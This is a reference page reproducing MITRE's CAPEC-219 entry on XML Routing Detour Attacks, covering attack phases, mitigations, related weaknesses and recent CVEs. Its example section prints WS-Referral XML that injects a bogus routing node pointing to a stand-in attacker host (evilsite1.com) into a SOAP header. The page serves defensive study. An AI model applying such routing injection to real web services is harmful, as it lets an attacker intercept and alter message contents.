CAPEC-219

XML Routing Detour Attacks

Medium severityHigh likelihoodStandard pattern

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

On this page

Ask an AI about this attack pattern
How the attack unfolds
Prerequisites
Skills required
Resources required
Consequences
Mitigations
Weaknesses it exploits
Related attack patterns
Examples

Ask an AI about this attack pattern

ChatGPT Claude Google AI Mode

Show the prompt

Explain the attack pattern CAPEC-219: XML Routing Detour Attacks: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/219.html and https://cve.bz/cve/capec/219?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this attack pattern's id and public links.

How the attack unfolds

Explore
The attacker looks for a way in.
1. [Survey the target] Using command line or an automated tool, an attacker records all instances of web services to process XML requests.
  2 techniques
  - Use automated tool to record all instances to process XML requests or find exposed WSDL.
  - Use tools to crawl WSDL
Experiment
They probe what they found.
1. [Identify SOAP messages that have multiple state processing.] Inspect instance to see whether the XML processing has multiple stages or not.
  1 technique
  - Inspect the SOAP message routing head to see whether the XML processing has multiple stages or not.
Exploit
They carry out the attack.
1. [Launch an XML routing detour attack] The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message identified in the Explore phase. Thus, the attacker can route the XML message to the attacker controlled node (and access the message contents).
  1 technique
  - The attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header of the SOAP message

Prerequisites

The targeted system must have multiple stages processing of XML content.

Skills required

Low skill
To inject a bogus node in the XML routing table

Resources required

The attacker must be able to insert or compromise a system into the processing path for the transaction.

Consequences

What a successful attack can lead to
Impact	Affects	Note
Modify Data	Integrity
Read Data	Confidentiality
Gain Privileges	Accountability, Authentication, Authorization, Non-Repudiation
Bypass Protection Mechanism	Access Control, Authorization

Mitigations

Design: Specify maximum number intermediate nodes for the request and require SSL connections with mutual authentication.
Implementation: Use SSL for connections between all parties with mutual authentication.

Weaknesses it exploits

CWE-441 Unintended Proxy or Intermediary
CWE-610 Externally Controlled Reference to a Resource in Another Sphere

Recent CVEs with these weaknesses

9.4CVE-2026-1244402026-11-08
Kyverno from 1.19.1 before 1.19.2 contains an authorization bypass vulnerability in the apiCall namespace clamp that allows namespace tenants to issue cross-namespace and cluster-scoped API requests by appending malformed percent-escapes t…
5.1CVE-2026-1235152026-11-08
Vikunja before 2.7.1 contains a client-side request forgery vulnerability that allows users with write access to make viewers' clients request loopback or LAN addresses by storing img elements in rich text. Attackers can plant images in ta…
9.9CVE-2026-169202026-11-07
IBM API Connect 12.1.0.0 through 12.1.1.2 could allow a remote authenticated attacker to bypass security restrictions due to a confused deputy vulnerability.
5.0CVE-2026-889832026-11-05
Kubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflows. Prior to 2.17.0, the API server's pipeline and pipeline-version creation paths fetch a caller-supplied pipelineURL without restricting the …
8.8CVE-2026-1211982026-11-03
Confused deputy in WebUI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
8.8CVE-2026-1211712026-11-03
Confused deputy in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
8.8CVE-2026-1211082026-11-03
Confused deputy in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
7.8CVE-2026-499062026-11-02
An unprivileged application can bypass the `android.car.permission.CAR_DISPLAY_IN_CLUSTER` permission by registering an activity with the `android.car.cluster.NAVIGATION` category and requesting navigation app focus. The privileged `Cluste…

The newest records naming one of them. Each weakness's page lists them all.

Part of: CAPEC-94 Adversary in the Middle (AiTM)

Examples

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, ex…

Here is an example SOAP call from a client, example1.com, to a target, example4.com, via 2 intermediaries, example2.com and example3.com. (note: The client here is not necessarily a 'end user client' but rather the starting point of the XML transaction).

Example SOAP message with routing information in header:

<S:Envelope>
  <S:Header>
    <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
      <m:action>http://example1.com/</m:action>
      <m:to>http://example4.com/router</m:to>
      <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
      <m:fwd><m:via>http://example2.com/router</m:via></m:fwd>
      <m:rev />
    </m:path>
  </S:Header>
  <S:Body>
    ...
  </S:Body>
</S:Envelope>

Add an additional node (example3.com/router) to the XML path in a WS-Referral message

<r:ref xmlns:r="http://schemas.example.com/referral">
  <r:for>
    <r:prefix>http://example2.com/router</r:prefix>
  </r:for>
  <r:if/>
  <r:go>
    <r:via>http://example3.com/router</r:via>
  </r:go>
</r:ref>

Resulting in the following SOAP Header:

  <S:Envelope>
    <S:Header>
      <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
        <m:action>http://example1.com/</m:action>
        <m:to>http://example4.com/router</m:to>
        <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
        <m:fwd>
          <m:via>http://example2.com/router</m:via>
          <m:via>http://example3.com/router</m:via>
        </m:fwd>
        <m:rev />
      </m:path>
    </S:Header>
    <S:Body>
      ...
    </S:Body>
  </S:Envelope>

Continuing with this example, the attacker injects a bogus routing node (using a WS-Referral service) into the routing table of the XML header but not access the message directly on the initiator/intermediary node that they have targeted.

Example of WS-Referral based WS-Routing injection of the bogus node route:

  <r:ref xmlns:r="http://schemas.example.com/referral">
    <r:for>
      <r:prefix>http://example2.com/router</r:prefix>
    </r:for>
    <r:if/>
    <r:go>
      <r:via>http://evilsite1.com/router</r:via>
    </r:go>
  </r:ref>

Resulting XML Routing Detour attack:

  <S:Envelope>
    <S:Header>
      <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1">
        <m:action>http://example_0.com/</m:action>
        <m:to>http://example_4.com/router</m:to>
        <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id>
        <m:fwd>
          <m:via>http://example2.com/router</m:via>
          <m:via>http://evilesite1.com/router</m:via>
          <m:via>http://example3.com/router</m:via>
        </m:fwd>
        <m:rev />
      </m:path>
    </S:Header>
    <S:Body>
      ...
    </S:Body>
  </S:Envelope>

Thus, the attacker can route the XML message to the attacker controlled node (and access to the message contents).

MITRE's words, unchanged: CAPEC-219 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.